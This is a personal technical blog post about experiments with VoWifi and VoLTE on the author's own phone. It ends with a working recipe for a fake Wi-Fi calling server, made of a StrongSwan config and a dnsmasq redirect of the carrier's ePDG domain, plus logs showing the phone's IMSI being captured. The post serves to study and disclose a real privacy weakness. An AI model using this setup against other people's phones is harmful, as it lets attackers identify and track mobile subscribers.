I’m learning how VoWifi/VoLTE works by trying three experiments:

  • Connecting to VoWifi using fasferraz’s Python IKEv2/EAP-AKA implementation: failed
  • Connecting to VoLTE using Linphone: failed
  • Capturing IMSIs with a Wi-Fi hotspot, a fake DNS server, and a VPN server: succeeded

Introduction and glossary

VoLTE and VoWifi may seem complicated, but to make a phone call, you phone actually just talks to two computers:

diagram of VoLTE/VoWifi

As documented in the excellent presentations by ERNW (first, second), VoLTE and VoWifi are based on common technologies:

  • In VoLTE, the phone connects via SIP to the P-CSCF, which is the carrier’s SIP VoIP server.
  • In VoWifi, the phone first makes a IPSec VPN connection to the ePDG, the carrier’s VPN server for VoWifi. Then it connects over the VPN to the P-CSCF SIP server, like VoLTE.

However, VoLTE’s implementation is not compatible with our everyday VPNs and VoIP software. This report from Sysmocom shows that it would take months to modify Ubuntu Touch for VoLTE support.

So what stops me from connecting to the VoWifi VPN server with regular VPN software, or the VoLTE SIP server with regular VoIP software? I decided to find out.

Experiments conducted on Ubuntu 21.04 in a VMWare Fusion VM, connected to a Pixel 3 XL running Android 11 on Mint (a T-Mobile MVNO).

Connecting to VoWifi

To connect to the special VoWifi VPN, I used fasferraz’s SWu-IKEv2, an IKEv2/IPSec VPN client which implements the special EAP-AKA’ authentication method that uses a SIM card.

In EAP-AKA’:

  • Only the carrier and the SIM card itself knows a secret key, K
  • When authenticating, the carrier sends two values: an AUTN value and a RAND value
  • The AUTN value proves to the SIM card that it’s the real carrier
  • The SIM card encrypts the RAND value with the secret K key to derive two secret keys: IK, CK; and a response value, RES
  • It sends the RES value back to the carrier to prove that it’s the real SIM card
  • The phone starts encrypting the connection with IK and CK
  • The carrier does the same encryption with the K key to obtain the expected IK, CK, and RES values
  • The carrier compares the RES value before decrypting the connection with IK and CK
  • Since nobody else has the K key, they can’t eavesdrop or pretend to be the user/carrier

In summary, I need to send AUTN and RAND to the SIM card, and get RES, IK, and CK back.

SWu-IKEv2 supports talking to a real SIM card for EAP-AKA’, defining an HTTP API to communicate with a SIM card reader.

I decided to implement that API as an Android app so I can use the SIM card in my phone:

I built a an HTTP server Android app that generates SIM authentication requests:

adb shell sh /sdcard/runsimserver.sh serve 3333

(My app uses http instead of https, because I’m not dealing with certificates. Thankfully it was easy to patch SWu-IKEv2 to support plain http.)

(Protip: if something fails, adb logcat -b radio often gives the modem’s error message)

I searched online for the ePDG address for T-Mobile, set the APN to ims, pointed SWu-IKEv2’s SIM reader address to my phone, and tried connecting:

# python3 swu_emulator.py -m "http://192.168.1.9:3333" -d "ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org" -M 310 -N 260 -a "ims"
<snip>
STATE 3:
-------
sending IKE_SA_AUTH (2)
received decoded message:
[[46, [[41, [0, 24, b'', b'']]]]]
received IKE_AUTH (2)
OTHER_ERROR : 24

It gets most of the handshake, including the SIM card credentials, but it returns an error on IKE_SA_AUTH.

Maybe it’s because Mint Mobile requires me to register an emergency address before I could turn on Wi-Fi calling, or perhaps SWu-IKEv2 doesn’t implement a handshake compatible with T-Mobile/Mint.

(In fact, when I tried Verizon’s Wi-Fi calling server, SWu-IKEv2 isn’t even able to get through the first part of the handshake, and never reaches the SIM card auth. I tried StrongSwan instead, but couldn’t figure out the config file.)

Connecting to VoLTE

If I can’t connect to the VoWifi VPN, can I connect to the VoLTE SIP server directly?

On Android, I can find the SIP server address using dumpsys:

$ dumpsys telephony.registry
<snip>
PcscfAddresses: [ /fd00:1234:5678:1234::1,/fd00:1234:1:123::1,/fd00:1234:5678:1234::2 ]

It’s a private (fd00::) IP address, so cannot be accessed over Internet, but I can access it over Wi-Fi tethering from my phone.

I first tried sipp, a SIP tester, to see if it can make any SIP connection:

$ sipp -sn uac fd00:1234:1:123::1 -m 1 -auth_uri "sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org"
Resolving remote host 'fd00:1234:1:123::1'... Done.
2021-11-14	12:17:42.188810	1636910262.188810: Aborting call on unexpected message for Call-Id '1-4126@1234:5678:1234:5678:1234:5678:1234:5678': while expecting '100' (index 1), received 'SIP/2.0 403 Forbidden
Via: SIP/2.0/UDP [1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=<>
To: service <sip:service@[fd00:1234:1:123::1]:5060>;tag=<>
From: sipp <sip:sipp@[1234:5678:1234:5678:1234:5678:1234:5678]:5060>;tag=<>
Call-ID: 1-4126@1234:5678:1234:5678:1234:5678:1234:5678
CSeq: 1 INVITE
Content-Length: 0

'

Since it got a SIP response, I decided to try Linphone to see if that works better.

echo "register sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org [fd00:1234:5678:1234::1]" | linphone-daemon --config ./lollinphonerc 
daemon-linphone>Status: Ok

Id: 2

daemon-linphone>Quitting...

Looking at the log, it seems to fail with an Extension Required message:

REGISTER sip:ims.mnc260.mcc310.3gppnetwork.org SIP/2.0
Via: SIP/2.0/UDP [1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport
From: <sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org>;tag=by3qRAb72
To: sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org
CSeq: 21 REGISTER
Call-ID: BqHzXhfQzf
Max-Forwards: 70
Supported: replaces, outbound, gruu, sec-agree
Accept: application/sdp
Accept: text/plain
Accept: application/vnd.gsma.rcs-ft-http+xml
Contact: <sip:310260111111111@[1234:5678:1234:5678:1234:5678:1234:5678:3080];transport=udp>;+sip.instance="<urn:uuid:6b105db9-7d58-0048-a2fa-c4edf4517544>"
Expires: 0
User-Agent: Unknown (belle-sip/4.4.0)

SIP/2.0 421 Extension Required
Via: SIP/2.0/UDP [1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0
To: <sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org>;tag=hmpyfr9c6bln4s4tqy698hv3v
From: <sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org>;tag=LEotRcq8b
Call-ID: H3P5ZXk7Z2
CSeq: 20 REGISTER
Require: sec-agree
Content-Length: 0

After looking up what extensions a real SIP client has, I tried adding this line to the Linphone config.

[sip]
supported=replaces, outbound, gruu, sec-agree

This sets Supported: replaces, outbound, gruu, sec-agree in the header, but I got the exact same Extension Required error.

A fake VoWifi ePDG

OK, so connecting to a carrier is impossible.

Thankfully, pretending to be a carrier to grab IMSIs is easy, and there are guides on how to do it.

To pretend to be a ePDG Wi-Fi calling VPN, I created a StrongSwan VPN config:

config setup
    charondebug="ike 4"
conn ikev2-vpn
    auto=add
    type=tunnel
    keyexchange=ikev2
    left=%any
    leftid=@ims
    right=%any
    rightid=%any
    rightauth=eap-aka
    rightsourceip=10.10.10.0/24
    rightdns=8.8.8.8,8.8.4.4

Started StrongSwan:

sudo ipsec start --nofork --conf hello.conf

Started a DNS server that redirects the ePDG VPN server domain to my fake Wi-Fi calling server:

sudo dnsmasq -d --no-resolv --no-hosts --log-queries --server 8.8.8.8 --address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10

Then I changed the DNS on my phone, activated Wi-Fi calling, and saw this on my console:

07[NET] received packet: from 192.168.1.9[40844] to 192.168.1.10[500] (496 bytes)
07[ENC] parsed IKE_SA_INIT request 0 [ SA KE No N(NATD_S_IP) N(NATD_D_IP) N(FRAG_SUP) ]
07[IKE] 192.168.1.9 is initiating an IKE_SA
07[CFG] selected proposal: IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048
07[ENC] generating IKE_SA_INIT response 0 [ SA KE No N(NATD_S_IP) N(NATD_D_IP) N(FRAG_SUP) N(CHDLESS_SUP) N(MULT_AUTH) ]
07[NET] sending packet: from 192.168.1.10[500] to 192.168.1.9[40844] (456 bytes)
08[NET] received packet: from 192.168.1.9[40844] to 192.168.1.10[500] (348 bytes)
08[ENC] unknown attribute type (16386)
08[ENC] parsed IKE_AUTH request 1 [ IDi IDr CPRQ((16386) DNS6 DNS6 ADDR6) SA TSi TSr ]
08[CFG] looking for peer configs matching 192.168.1.10[ims]...192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]
08[CFG] no matching peer config found
08[ENC] generating IKE_AUTH response 1 [ N(AUTH_FAILED) ]
08[NET] sending packet: from 192.168.1.10[500] to 192.168.1.9[40844] (76 bytes)

And there’s my IMSI, sent to any adversary that controls a Wi-Fi network, a DNS, and a VPN server.

What I learned

  • How (not) to send PDUs to a SIM card on Android
  • How to ask a SIM card for authentication responses on Android
  • How to use SWu-IKEv2
  • How to send a SIP register command
  • How to setup an IKEv2 StrongSwan server
  • How Wi-Fi calling may leak IMSIs to adversarial Wi-Fi hotspots